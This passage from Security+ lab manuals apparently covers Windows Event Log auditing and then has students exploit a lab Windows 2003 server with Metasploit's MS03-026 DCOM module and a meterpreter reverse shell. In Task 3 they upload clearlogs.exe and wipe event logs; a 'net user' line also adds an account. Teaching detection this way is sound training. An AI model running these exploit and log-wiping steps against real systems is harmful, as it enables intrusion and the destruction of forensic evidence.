exploitation tasks like dumping the hashes, taking screenshots, and downloading files.

Task 4.3 Discussion Questions
1. Whatis the command to add a user to a system through the command line?

2. What are some of the commands that can be used within Meterpreter?
3. What tools can be used to crack passwords once you obtain the hashes?

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 32 of 33



Lab 9: Analyze and Differentiate Types of Application Attacks

5 References

1. Metasploit:
http://metasploit.com/

2. Armitage:
http://www.fastandeasyhacking.com

3. Best Practices for Mitigating RPC and DCOM Vulnerabilities:
http://technet.microsoft.com/en-us/library/dd632946.aspx

4. CERT Advisory CA-2003-16 Buffer Overflow in Microsoft RPC:
http://www.cert.org/advisories/CA-2003-16.html

5. BackTrack Linux:
http://www.backtrack-linux.org/
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will be able to analyze Windows Event Logs. Students
will change the Audit Policy of the system in order to log more information that is
critical to keeping track of the security of the system. Students will also act as an
attacker and clear the logs. Students will learn how to determine if the Windows Event
Logs have been cleared by examining forensic evidence on the system.

This lab includes the following tasks:
e Task 1-The Windows Event Viewer

e Task 2 — Enabling Auditing
e Task 3 — Clearing the Event Logs
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2 Objective: Analyze and differentiate types of Mitigation and
Deterrent Techniques

The Event Viewer of Microsoft Windows keeps track of important incidents on the
machine. The Event Viewer logs are an invaluable resource for network administrators
troubleshooting problems as well as computer security professionals. Computer
Forensics examiners also look at the Windows Event Logs in order to help develop a
timeline of events that occurred during the compromise of a system. Hackers will often
clear the Windows Event Logs in an attempt to reduce their trail of evidence.

Windows Event Logs — These logs, available in the Windows Event Viewer [4], keep
track of incidents related to the computer’s hardware, software, and security. The three
main logs on a computer running Microsoft Windows are the system, security, and
application event Logs.

Auditing — The Windows Event Viewer security log keeps track of two types of events,
successes and failures. This process, known as auditing, is critical to tracking all of the
security related incidents that occur on the Windows operating system.

ClearLogs [1] — This is a tool from the website www.ntsecurity.nu that will allow you to
individually clear the security, application, and system logs of the Windows Event
Viewer. Clearlogs.exe is identified as a malicious file by most anti-virus vendors.

Clearev [2] — A command within Metasploit’s meterpreter environment, which will
automatically clear the security, application, and system, logs of the Windows Event
Viewer. The meterpreter tool does not give you the option to clear the logs individually;
it just wipes all of the records from the security, application, and system logs.

Wevtutil [3] — This is a Microsoft tool that is built into the operating system that will
allow administrators to back up and clear Windows event log files. The command will
even allow you to clear the event logs on a remote system on the network. This
command is not available in operating systems released prior to Windows Vista.
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3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK

MSEC

Multi-Purpose
Security Pod

EXTERNAL NETWORK

% |

NS N
\l““l Firewall
5 §

Domain: MSEC.local
192.168.100.0/24

Domain: GVPC.local
10.10.19.0/24

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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Windows 2k3 Server

Victim
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

4 Lab Settings

The information in the table below will be needed in order to complete the lab. The

task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine

192.168.100.3

BackTrack 5 root password

password

Windows 2k3 Server Internal Victim Machine

192.168.100.201

Windows 2k3 Server administrator password

password

BackTrack 5 Login:

1. Click on the BackTrack 5 icon on the topology.
2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Password: .

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[+] To start a graphical interface, type

[+%]1 The default root passuword is

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up
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Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

* 7 Windows Server2003

¥ Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: IAdministrator

Password: I oooooooo|

| 9% |  concel | options>>
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Task 1 The Windows Event Viewer
The Event Viewer keeps track of incidents related to a computer’s software, hardware,

and security functions. The main logs of the Event Viewer are the application, system,
and security. The Event Viewer provides critical information about security incidents.

Task 1.1 Examining the Windows Event Viewer
Log on to the Windows 2003 Server
1. Logon to the internal Microsoft Windows 2003 Server by clicking the Send Ctrl-
Alt-Del link in the bottom right hand corner of the browser window. Log on to

the 2003 server with the username of Administrator and the password of
password.

welcome to Windows

Neomosaf

" ¥ Windows Server2003

¥ . Standard Edition

Copyright © 1985. 2003 Microsoll Corporation

&= Press Ctri-Alt-Delste to begin,

Requiring this key combination at startup helps keep your
computer sacure. For more Information, cick Help.,

Windows Server 2003 MSEC POD

Figure 4: Send Ctrl-Alt-Del to the Windows 2003 Server

2. Click on the Start button; select All Programs, Administrative Tools, Event
Viewer.

administrator ~
ﬁ Internet Explorer My Computer

ChrtrolFanel i # Manags Your Server
-mw' & B Microscft NET Framework 1.1 Configuration

& Microsoft JNET Framework 1.1 Wizards
@ Mebwork Load Balancing Manager

Mg sdministrative Tooks

@ Qmﬁﬂm .gma
- : A1 POP3 Service
) tiebo and Support & Remote Deskeops
) search BT Routing and Remate Access
| % Services
&ll programs » 7 Bun... B Termingl Server Licensing
|start [ @ 3 2 B3 |=f| Web Interface For Remote Administration

Figure 5: Opening the Event Viewer
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The 3 main logs within the Windows Event Viewer:
e Application Log

e Security Log
e System Log

The application log deals with issues related to the system’s software. The system log
contains information about the computer’s hardware. The security log contains

information about successful and failed attempts to access resources on the system.

There are five main icons that are used within Microsoft’s Event Viewer:

e Info
e Warning
e Error

e Success Audit
e Failed Audit

H Event ¥Yiewer O] x

File  Action  Yiew Help

e | amERE 2

@ Event Wiewer {Local) Application 338 event(s)

£l Application Twpe | Date | Tirne | source | cateqory | Event

d| |

aEerr 10/z4/2011 LIS33PM Usereny Mone 1030
. Directary Service QEerr 10/z4/2011 S35 PM Usereny Mone 1006 —
3 DNS Server @Infnrmatinn 10/24j2011 111435 PM ESENT General 100
File Raplication Sarvice &Warning 10fz4fz011 L:14:16 PM Evnbagnt More 1015
] &Warning 10/z4/2011 L1416 PM EvntAgnk Mone 1003
@Infurmatinn 10/z4/2011 1:14:14 PM wmkools Mone 105 -

I |

Figure 6: Different Types of Events within the Event Viewer

3. Right click on Security in the Event Viewer and select Save Log File As.

Event Viewer (Local) |
24| Applc ation |:
) g

~-44| System  Open LogFile. .
Directmm

Figure 7: Saving a Log File
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

Windows Event Logs can be saved in three different formats:

e EVT
e TXT
e (CSV

4. When the Save As Dialog box opens, click the Desktop icon on the left hand pane
of the screen. In the filename box, type security plus. Click the drop down
arrow for Save as type and select Text (Tab Delimited) (*.txt). Click Save.

2
Save jn: I@Desktnp N Z— [« G

My Documents
d My Compuker
Ly Mebwork Places

My Documents (W= farme: Isecurit_l,lplus j Save I
[

Save as bype: Text [Tab delimited] [ txt) Cancel |

Event Log [ ewt] 2
T et [T ab delimited] [* bt {

C5Y [Comma delimited] [F.cev]

Figure 8: Saving the Security Log

The EVT format can be read with Microsoft’s Event Viewer and some 3™ party tools.
The other formats, TXT and CSV, can be read with Notepad, Excel, and other programs.

5. Double click on the security plus.txt file on your desktop and view it.

B securityplus.txt - Notepad iy ] o4
File Edit Format Yiew Help
1/25/2012 10:59:16 PM Security Success Audit Logon,Logoff 538 NT AUTHORITY\il
User Mame: WINZKIDCE
Domain: MSEC
Logon ID: (Ox0, Ox54CEDD
Logon Type: 3
1,/25/2012 10:58:28 PM Security Success Audit LaogonLogoff 538 MT AUTHORITY™
User Mame: WINZKIDCE
Domain: MSEC
Logon I0: (Ox0, OxS54EDS)
/| | W

Figure 9: Event Log in Text Format

Having a backup of the logs is a good idea in case they are erased for some reason.
Logs can be inadvertently erased by administrators or purposely cleared by hackers.
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

6. Close the log file by selecting File from the menu bar and selecting Exit.

Es securityplus.txt - Motepad

File Edit Formak Wiew Help

[ CErl4-m JR=
CpEmn.. . Chrl+

Save Chrl+5

Save As...

Page Setup... roE
Prink... Chrl+P

Figure 10: Closing the Text Log

After saving the log, it can be cleared. Eventually, older logs will be overwritten.

7. Right click on the Security log and select Clear all Events. Click No to the
question “Do you want to save Security before clearing it” message. Close the
Event Viewer by selecting File from the Event Viewer Menu bar and select Exit.

@ Ewent Wiewer (Local) |_c
i34 application |:

Securiky

Syskem Qpen Log File. ..
(4| Directors  Sawe Log File As. ..
| DNS Ser Mew Log

Clear all Events

Wigw

Figure 11: Clearing the Security Log

8. Click the cmd.exe icon on the Desktop on the Windows 2003 Server. Type the
following command to add a User Account to the System:
C:\net user admin123 P@sswOrd /add

v Shortcut to cmd.exe
Ft_wi
vt ght

Lzer

Figure 12: Adding a User to the Windows Server 2003 System

You should receive the message that the command completed successfully.
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

9. Click on the Start Button, select All Programs, Administrative Tools, Event
Viewer. Single click the Category Column and double click on an Account
Management event. You should see information about the newly created

8/15/2012

adminl123 account.

| i i i
Event Properties

Ewent |

Date: 1/25/2012  Souwrce:  Securiby

Time: 11:15:09 Pt Categorny:  Account M anagement
Type: Succesz A Ewvent|D: B26

Uzer: k4’5 E Chadminigtrator

Computer: “wIN2E3DC

Dezcription:

IJzer Account Enabled:
T arget Account Mame; admin123
T arget Domain: MSELC
Target Account [D: MSEChadminl23
Caller Uzer Mame:  administrator
Caller Dromain: MSEC
Caller Logon ID:  [0«0,0x2B 494

Far mare infarmation, zee Help and Suppart Center at

Diata: % Butes € Words

|»

< |

ST

] Cancel |

Al |

: Cateqgory

Accounk Logon
Accounkt Lagon
Accounk Lagon
Accounk Lagon
Accounk Lagon
Gocounk Managemnen

Accounk Management

Accounk Management
Accounk Management

Directory Service Access
Directory Service Access
Directory Service Access
Directory Service Access
Directory Service Access
LogonLogoff
Logon/Logaff
Logon/Logaff
Logon/Logaff
Logan/Lagaff
LogonLogoff
LogonLogoff
LogonLogoff
Logon/Logaff
Logon/Logaff

| IS | R = =

Figure 13: Viewing Account Management in the Windows Security Event Log
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

10. An individual event can be copied by clicking the copy button located directly
below the down arrow on the right hand side of the Event Properties window.

Event Properties

Ewvent |

[ ate: 1/26/2012  Sowrce:  Security
Time: 11:15:09 Pt Category:  Account banagement
Type: Succeszd Ewent [D: B2B

Uzer: k45 E Chadrminiztratar _,

Computer, %WIM2K300

Dezcription;

2=

el

Ilzer Account Enabled:
T arget Account M ame; admind 23
T arget Domain: MSEC
T arget Account [D: MSECadminl 23
Caller User Mame:  adminiztrator
Caller Damair: MSELC
Caller Logan |0 (D0 DB 394

Faor maore infarmation, zee Help and Support Center at

Figure 14: Copying the Details of an Event

| »

L« |

11. Right click on the Desktop and select New, and then select Text Document.

8/15/2012

) Folder

@ Shorbout

Properties

E Briefrase

ﬂ Eitmap Image
Wordpad Document
Rich Text Docurnent

Figure 15: Creating a New Text Document
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

12. Name the document event.txt and double click on the file to open it.
Choose Edit from the Menu bar and select Paste. The description of the event
will now be in the text file. Choose File from the Menu bar and select Save.

[*. event.txt - Notepad iy ] |
Fil= Edit Format Wiew Help
Description: (-]
User Account Enabled:

Target Account Mame: adminlzs

Target Domain: MSEC ]

Target Account ID: MsECHadminlz23

Zaller uUser Mame: administrator

Zaller Domain: MSEC

Zaller Logon ID: (Owxh, 0x2B40470000
oFor more information, see Help and Support Center at http: 7go.microsoft.com

v

1] | v 2

Figure 16: The Text File Containing a Description of the Security Event

13. Close the Text File by selecting File from the Menu Bar and selecting Exit.
Notepad will ask you if you would like to save the changes to the document.
Select No. Close all remaining windows.

Task 1.2 Conclusion

The Windows event logs are critical to understanding any hardware, software, and
security issues that may be present on a computer. Over time, logs will be overwritten,
so saving logs regularly can be a good strategy in case older logs need to be referenced.
It is a good practice to save event logs frequently in case they are inadvertently deleted
by an administrator or purposely deleted by a hacker in an attempt to cover their tracks.

Task 1.3 Discussion Questions

Name the three main Windows Event Logs.

Explain why saving Event Logs regularly is a good practice.

Event Logs can be saved as which three different formats?

Adding a user account to the system will trigger an event in which log?

PN RE
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

Task 2 Enabling Auditing

Auditing is critical to monitoring and maintaining the security of a system. Auditing can
keep track of object access, user account management, logon events, and other activity.
On most Windows systems, the amount of auditing the system does by default is
limited. A network administrator has the ability to enable additional auditing.
Insufficient auditing can be an issue if security incidents are not being addressed.

Task 2.1 Enabling Auditing on a Windows Systems

A lack of auditing can be an issue if security incidents are not being discovered. The
default audit policy can differ on computers depending on the version of the operating
system. Security templates can be applied to systems to change their audit settings, or
an administrator can manually go in and turn on auditing for any given Policy.

1. To view the Audit Polices on the Windows Server, open the Group Policy editor.
Click Start, go up to Run, and type gpedit.msc in the box, and then click OK.

= Type the name of a program, folder, document, ar
g Internet resource, and Windows will open it For wou,

=~

Cancel | Browse, ., |

Figure 17: Launching the Group Policy Editor

2. Navigate to the following location within the Group Policy Editor:
Local Computer Policy>Computer Configuration>Windows Settings>Security
Settings>Local Policies>Audit Policy. View the Policy and Security Settings in the
right pane.

'fi Group Paolicy Object Editor

File  Action  Yiew Help

&= |0 XgE|2

8/15/2012

Figure 18: Viewing the Default
Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)

_‘:—_j Local Computer Policy Policy  # | Security Setting |
El@ Computer Configuration @.ﬁ.udit accaunt lagon events Success
D SD.Ftware SEU:.II'IQS s nodit account management Success
EII:I 'ndD"ﬁ_"s Settings b B3 audit directary service access Success
EI Zmpti I:SEll:atrtt_up,l'S Wda @.ﬁ.udit logon events SuCCess
- Hg Security Settings
Y g_ ) @.ﬁ.udit object access Mo auditing
{28 account Policies o
: . @.ﬁ.udlt policy change SuCcess
28 Local Policies @ o -
- {08 Budit Policy Audit privilege use Mo auditing
-8 User Rights Ass @.ﬁ.udit process tracking Mo auditing
-8 Security Option @.ﬁ.udit system events SuCcess
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

Notice that auditing is only turned on for successful logon events, not logon failures.
This presents a problem from a security standpoint, because if an unauthorized user
attempts to log on to the system, there will be no record of the incident.

3. Log off the server by clicking on the Start button and selecting Log Off.

adgminisirator

é Internet Explorer g‘ My Computer
ﬂ Command Prompt @’ Contral Panel i’

P % Adrinistrakive Tools »
,N Windows Explorer
Q% Printers and Faxes
@ Outlook Express
9) Help and Support:
@

all Programs ¢

st @ & 02 @

Figure 19: Logging off the Windows Server

4. Log on to the Microsoft Windows 2003 Server by clicking the Send Ctrl-Alt-Del
link in the bottom right hand corner of the browser window. Log on to the 2003
server with the username of Administrator and the password of 123. Try again
to use the password of 123. Finally, use the actual password of password.

welcome to Windows
Niorosaoft

Windows Server 2003

l Standard Edition

Copyright © 1995. 003 Microwsl! Corporation

&= press Chrl-Alt-Delete to begin,

Requring this key combinabion at startup helps keep your
computer secure. For more infoemation, cick Help.

N Windows Internal Server  Windows Server 2003  MSEC POD Connected

Figure 20: Logging back on to the Server

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 16 of 30



Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

5. Click on Start, go up to Run and type eventvwr.msc to open the Event Viewer.

- Type the name of a program, folder, document, ar
Internet resource, and Windows will open it For wou,

21

Qpen: I eventvwr.msd

o]

Cancel | Browse, ., |

=~

Figure 21: Opening the Event Viewer

6. Click on the Security log. Look for Failure Audits under Type. None are present.

_ioix
File Action Wiew Help
e~ | &m| 2
@ Event Wigwer (Local) Security 1,923 evenks)
. ’ Application Tyvpe | Date | Tirne | Source | Cateqory | -
SEe &f Success audic 1/28/2012 8147137 PM  Security LogonfLo...
o aiztz:w cervice @f Success Audt 1/26/2012 :47:37 M Security  Privilege ...
’ NS Server @f’Success audit 1262012 4735 PM Security LogonyLa. ..
______ File Replication Service @f’Success Sodic 1/zefz012 6147135 PM Security Privilege ...
] @f’Success audit 1262012 4735 PM Security Account L.,
@fSuccess audit 1262012 4735 PM Security LogonyLa. ..
@fSuccess Audit 1262012 Bi47: 34 PP Security Privilege ...
@fSuccess Audit 1262012 Bi47: 34 PP Security Directary. .,
@fSuccess Audit 1262012 Bi47: 34 PP Security Directary. .,
@f’Success Audit 1262012 Bi47: 34 PP Security Directary. .,
@f’Success Audit 1262012 fida:3d PM Security LogonjLa. ..
@f’Success Audit 1262012 fid6:22 PM Security LogonjLa. ..
@f’Success Audit 1262012 fid6:22 PM Security LogonjLa. ..
@f’Success Audit 1262012 fid6:22 PM Security LogonjLa. ..
@f’Success Audit 1262012 fid6:22 PM Security LogaonyLa, _|;|
af »

Figure 22: The Success Audits of the Security Log

In order to see the administrators failed attempts at logging on, enable failure audits for
logon events. The Windows 2003 Server virtual machine in this scenario is a Domain
controller, so we will set the auditing policy in the Domain Controller Security Policy.

8/15/2012
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Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

7. To open Domain Controller Security Policy, click on the Start button, select
Administrative Tools, and then select Domain Controller Security Policy.

i

Diormnain 1 Security Policy

=T

Domain Security Policy

[

Event Yiewer

Internet Information Services (115) Manager
Licensing

Manage Your Server

Microsoft (MET Framework 1.1 Configuration

Microsoft \MET Framework 1.1 Wizards

adminisiralor

g Internet Explorer Q! My Con

Command Prompt E’ Contral

MNebwork Load Balancing Manager
Performance
POP3 Service

Remote Desktops

Routing and Remoke Access

i
L P! f windows Explorer

At .

i Prinkers
. i =
.| Outloo E“pr'ﬁ windows Update

Accessoties

administrative Tools

Services

Terminal Server Licensing

Terminal Services Configuration

Terminal Services Manager

Web Interface For Remote Adminiskration

DEEGEHSCEREH o DI

Ll ~ B

Skartup
all Programs

Internet Explorer

Log OfF E Shut Down

|@istart (B & 5 ) B3

Figure 23: Accessing the Domain Controller Security Policy

8. Navigate to the following location within the Domain Controller Security Policy:
Local Computer Policy>Computer Configuration>Windows Settings>Security
Settings>Local Policies>Audit Policy. View the Policy and Security Settings in the
right pane.

':m Default Domain Controller Security Settings

Fil=  Action  Wiew Help
& = | | % B | 2
@ Security Settings Palicy  # | Palicy Setting
[-2¢ Account Policies [] audit accaunt lagon events Success
El : L-:a P':'I":'Es .ﬁ.udit account management SuCCess

= u'j't":" fssi X [f) audit directory service access Success

£H Sser _tlg 05 Ny ==Ignmen .ﬁ.udit logon events SUCCESS

& Securi jons ;

vert Log Lt .ﬁ.udit obhject access Ma auditing
8 Restrcted Groups *"”j!t polcy chane success
@ System Services . Audik privilege use Mo audiking
@ Registry .ﬁ.udit process kracking Mo auditing
@ File Swstem .ﬁ.udit syskem events Success

Figure 24: Default Domain Controller Security Settings
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9. Double click on the Audit Logon Events Policy. Check the box under failure.
Click OK. The Policy Setting will change to Success, Failure. Click OK

"t Default Domain Conk

Eile  Action Wew Help

& = | | > |2

@ Security Setkings Paolicy  # | Palicy Setking
- Account: Policies .ﬁ.udit account logon events SuCcess

= Local Policies

g Lo licles .ﬁ.udit account ranagement Success
iz Audit Paolicy E0 8 it diveckore corvice arcess Success

- et Hser Blghts -f'-ssngnment .ﬁ.udit logon events SEEEEE
- =8 Security Opkions
Audit logon events Properties 2 =]

ﬁ vent Log

@ Restricted Groups Security Paolicy S etting I
@ Syskemn Services

{3 Registry A4 Audit logon events
{3 File: Swskem l'g‘

F-Y wireless Metwork (IEEE 802.11) P
=-[Z0 Public ke Policies

-2 Software Restriction Policies ¥ Define these policy settings
g IP Security Policies on fckive Dire Audit these attemnpts:
v Success

()4 I Cancel Apply

Figure 25: Setting the Audit Policy for the Domain Controller Security Settings

10. Click the cmd.exe icon on the Desktop on the Windows 2003 Server. Type the
following command to update the system’s security settings immediately:
C:\gpupdate /force

hortcut ko cmd.exe

errors in policy pro review the

Figure 26: Updating the Security Settings Using GPUPDATE
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11. Log off the Server by clicking on the Start button and selecting Log Off.

adminisirator

S Internet Explorer g‘ My Computer
ﬂ Command Prompk @’ Control Panel ¢

iy % Administrative Tools ¢
u YWindows Explorer -
{.’é Prinkers and Faxes
@ Outlook Express
@) Help and Suppoart:
() search

all Brograms ¢

st 3 & 0 G @

Figure 27: Logging off the Windows Server

12. Log on to the Microsoft Windows 2003 Server by clicking the Send Ctrl-Alt-Del
link in the bottom right hand corner of the browser window. Log on to the 2003
server with the username of Administrator and the password of 123. Try again
to use the password of 123. Finally, use the actual password of password.

welcome to Windows

Neonsoft

Windows Server 2003

' . Standard Edition

Copyright © 1995. 003 Microwsl! Corporation

&= press Chl-Alt-Delete to begin,

Requring this key combinabion at startup helps keep your
computer secure. For more infoemation, cick Help.

N  Windows Internal Server  Windows Server 2003 S D Connected

Figure 28: Logging back on to the Server
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13. Click on Start, right click on My Computer and select Manage.

adgminisirator

é Internet Explorer

My Computer

Open

E? Control Panel

% Sdrninistrative Tools

Command Prompt

i
[ 4 f Windows Explorer
: }‘,__\:_:_51 Prinkers and Faxes

| Explare

Search...
[ honage > <

Map Metwork Drive. ..

Disconnect Metbwork Drive, ..

f ;"l Dutlook Express
Q;} Help and Suppork

»

all Brograms ¢

v Show on Deskiop
F.enarme

Properties

Log OFF E Shut Down

#istart (3 @ O (9 B3

Figure 29: Computer Management

14. Select Event Viewer and select the Security log. Look for Failure Audits.

RI=TEY
g File Ackion ‘Wiew ‘Window Help | — ||5' |ﬁ|
& = | | |
Computer Management {Local) Tvpe I Dake Time I Source I Zategor I Event I l;l
Eﬁ System Tools @ Success Audit  1/26f2012 WEE4EFM  Security Direckory Se... 565 =
EH{Eg] Event viewer &f Success audic 1/z6/2012 2SE:45FM  Security Directory Se... S&S :
Application & Success Audic 1)26{2012 256:46PM  Security Directory Se... 565 :
Cirectary Servics & Success audic 1/z6/z012 2:56:45FM  Security Logon/Logoff 538 :
E;f;:;ﬁzrtion corvice | @ Success sudi 1j26(2012 D56:46 PM  Security LogonyLogoff 540 :
e @f?Success Audit  1/26/2012 95645 PM Security Frivilege Use 576 i
. System @?Success Audit  1/26/2012 DEE:4F PM Security Account Log... 673 E
B g shared Folders @f’Success Audit  1/26/2012 95645 PM Security Account Log... 673 £
Performance Logs and Alerts @?Success Audit  1/26/2012 DEE:4F PM Security LogonLogoff 540 i
Device Manager @f’Success Audit 1/26f2012 D5E:48 PM Security Privilege Use 576 :
Skorags @f’Success audic  1/26/2012 WE6:45 PM Security Account Log... 673 s
! Removable Storage @f’Success audic  1/26/2012 DSE4EPM Security Privilege Use 576 i
i Disk Defragmenter @f?Success Audit  1/26/2012 95645 PM Security Lagan)Logoff 525 B
gzl Disk Managernent @?Success Audit  1/26/2012 DEE:4F PM Security LogonyLogoff 552 £
E]--& Services and Applications @f’Success asodit 1/26f2012 DE5E4EPM Security Account Log.., 673 b
Success Audit  1/26/2012 Q5645 PM Security Account Log... 672 £
& Failure Audit  1/26/2012 D5E45PM Security Lagan)Logoff 529 “
.% Failure Audit  1/76/2012 9:56:4%5 PM Securit LogonfLogaoff 529 o
a| | ]| | »

|
Figure 30: Failure Audits

8/15/2012
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15. Double click on the Failure Audit. Read the description of the event.

Ewvent |

Date: 1/26/2012  Source:  Secunty + |
Time: 2:56:45 P Categony: LogondLogoff

Type: Failure dud  Event [D: 529 + |
Uszer MT AUTHORITYAS S TEM
Computer: “WIN2E3DC

Dezcription;

|L|:|g|:-n F ailure: -
Reason; IInk o uzer name or bad pazsword
Llzer Mame: adrniniztratar
Dramair; MSELC
Logon Type: 2
Logon Process: Idgerd2
Authentication Package: Megatiate

Workztation Mame: Wi 2E30C
Caller User Hame:  'WIN2K3DCE

Caller Domair: ~ MSEC |
Data: % Bytes € Words

k. I Cancel | Apply |

Figure 31: The Failure Audit Event

16. Close all open windows.

Task 2.2 Conclusion

Auditing is critical to keeping track of security related events that can happen on a
Windows system. The default audit policy of a system may not be comprehensive
enough for the security needs of an organization. The administrator has the ability to
change the audit policy, and can enable or disable successes or failure for given policies.

Task 2.3 Discussion Questions

Which is more important, auditing for successes or failures?

Where do you go in Windows to examine the audit policy?

What are two ways that you can get to the Event Viewer in Windows?

What is the command line tool that can be used to update security settings?

PwWnNPE
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Task 3 Clearing the Event Logs

In this section, you will break into a remote Windows system using Metasploit and then
clear the Windows Event Logs using the clearlogs.exe and clearev utilities. Log clearing
is an anti-forensic technique that can be used by an attacker. An attacker will often
clear logs in order to prevent the forensic examiner form doing timeline analysis.

Task 3.1 Using Tools to Clear the Event Logs

We will use the RPC DOM Buffer Overflow to exploit the remote system running
Windows 2003 Server. Once the system has been compromised, we will clear the logs

and then examine what artifacts, if any, remain on the victim system.

Open a Terminal to Get Started

1. Open aterminal within BackTrack 5 system by clicking on the terminal icon in the
top left corner and type msfconsole to launch Metasploit.
root@bt:~#msfconsole

2. The banner you see may be different from the one shown in the picture below.
Type banner to change the banner.

MMMMM

MMMMMMMN

MMMMM

NMMMMMMM

MMMMMMMMMNmmmNMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM

MMMMM
MMMMM

MMMNM
WMMMM
?MMNM
T 7MMM

7MM

MMMMMMM
MMMMMMM
MMMMMMM
MMMMMMM

MMMMM
MMMMM
MMMMM
MMMM#
MMMMM
MMMM™
MM?

Figure 32: Metasploit’s MSFCONSOLE
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3. Use the DCOM exploit for Windows Server 2003 by typing the following
command into the msf console of Metasploit:
msf > use exploit/windows/dcerpc/ms03_026_dcom

Figure 33: Using the Exploit

Your prompt will change to msf exploit(ms03_026_dcom), displayed in red.

4. Type the following to set the remote host to the IP Address of the victim:
msf exploit(ms03_026_dcom) > set rhost 192.168.100.201

) > set rhost 192.168.100. 26

2.168.100.201

Figure 34: Setting the Remote Host

5. Type the following command to set the payload to meterpreter:
msf exploit(ms03 026 _dcom) > set payload windows/meterpreter/reverse_tcp

| > set payload windows/meterpreter/reverse tep
Jayloaa = w.';l"if.1ox«xs,,fr‘ete";U"ete"x""e*.fe"se 1

Figure 35: Setting the Payload

6. Type the following to set the local host to the IP Address of the attacker:
msf exploit(ms03_026_dcom) > set lhost 192.168.100.3

st exploit| ) > set Lhost 192.168.166.3

1ho 5t . l'::u, 168.160.3

Figure 36: Setting the Local Host
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7. To verify that all of the options were set correctly, type the following:
msf exploit(ms03_026_dcom) >show options

nsf  exploit( ) > show options
Module options (exploit/windows/dcerpc/ms03 026 dcom):
Name urrent Setting Required Description

RHOST 192.168.100.2¢€ yes The target address
RPORT 5 yes The target port

Payload options (windows/n

Name
EXITFUNC thread /es Exit technique: seh

LHOST 192.168.100. yes The listen address
LPORT 4444 ye The listen port

Name

Windows NT SP3-6a/2000/XP/2003 Universal

Figure 37: Showing the Options

8. Type the following command to exploit the remote Windows Server:
msf exploit(ms03_026_dcom) > exploit
st exploit( ) > exploit
r on 192.168.100. ”'4444

D tcp:192.168.100.201
(1

135] ...
tcp:192.168.10@.201[135] .

[

-> 192.168.100.201:2157) at 2012-01-23 22:53:55 -0500

meterpreter >

Figure 38: The Meterpreter Shell
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9. To upload the clearlogs.exe file to the victim machine, type the following:
meterpreter > upload /root/clearlogs.exe c:\\windows

meterpreter> upload /root/clearlogs.exe c:\\windows

[*] uploading : /root/clearlogs.exe -> c: uw.|d0wJ
| uploaded : /root/clearlogs.exe -> c:\windows\clearlogs.exe

Figure 39: Uploading ClearLogs

10. To start a command prompt on the victim machine, type the following:
meterpreter > shell

meterpreter > shell
rocess 2616 created.
Channel 2 created,
ficrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>}

Figure 40: Starting a Command Prompt

11. To clear the application log with the ClearLogs utility, type the following:
C:\WINDOWS\system32\clearlogs -app

HIHDOWJ\Swgt em32>clearlogs -app
earlogs -app

(learLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
httg://ntsecurity.nu/toolbox/clearlogs/

ISuccess: The log has been cleared

Figure 41: Clearing the Application Log

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 26 of 30



Lab 10: Mitigation and Deterrent Techniques - Anti Forensic

12. Switch over to the Windows 2003 machine. Click on the Start Button,
Administrative Tools, and Event Viewer. Click on the Application Log

Diomain Security Policy

adminisirator

é Internet Explorer

R Command Prompt Cantrol Panel 3

Ewvent Yiewer

At

ﬂ

g! Py EoPpGLER "8 Internet Information Services (1153 Manager
% Licensing
_! [Manage Your Server
% Microsoft \MET Framework 1.1 Configuration
E?'L Administrative Tools % Microsaft \MET Framewark 1.1 Wizards
g Mebwork Load Balancing Manager

et
1 :f Windows Explorer

- 1;:;3 Printers and Faxes @ Parfarese
IJJ Outlook Express . j:«l POP3 Service
Q) Helprand Supctt [ Remote Deskkops
‘I'-_) Search E Routing and Remote Access
% Services
All Programs — # _J Run... TE] Terminal Server Licensing
,, Terminal Services Configuration
Log OFf E LR % Terminal Services Manager
|jt‘ Start @ a8 9 L‘ﬂ] o | Web Inkerface For Remaote Administration

Figure 42: Opening the Event Viewer

The application log is now empty. It states, “There are no items to show in this view”.

E Computer Management

Q File  Action  Mew  Window  Help

¢» | BEERE| @

Q Camputer Management (Local) Type | Date | Time | Source
Elﬁ& System Toaols _ o
: EI@ Event Yiewer There are noitems ko show in this view,
E @ application

Figure 43: The Empty Application Log

13. Switch back to the Linux Attack Machine. In the Command prompt connected to
the victim machine, type the following command to exit the command shell
C:\WINDOWS\system32\exit

Figure 44: The Windows Meterpreter
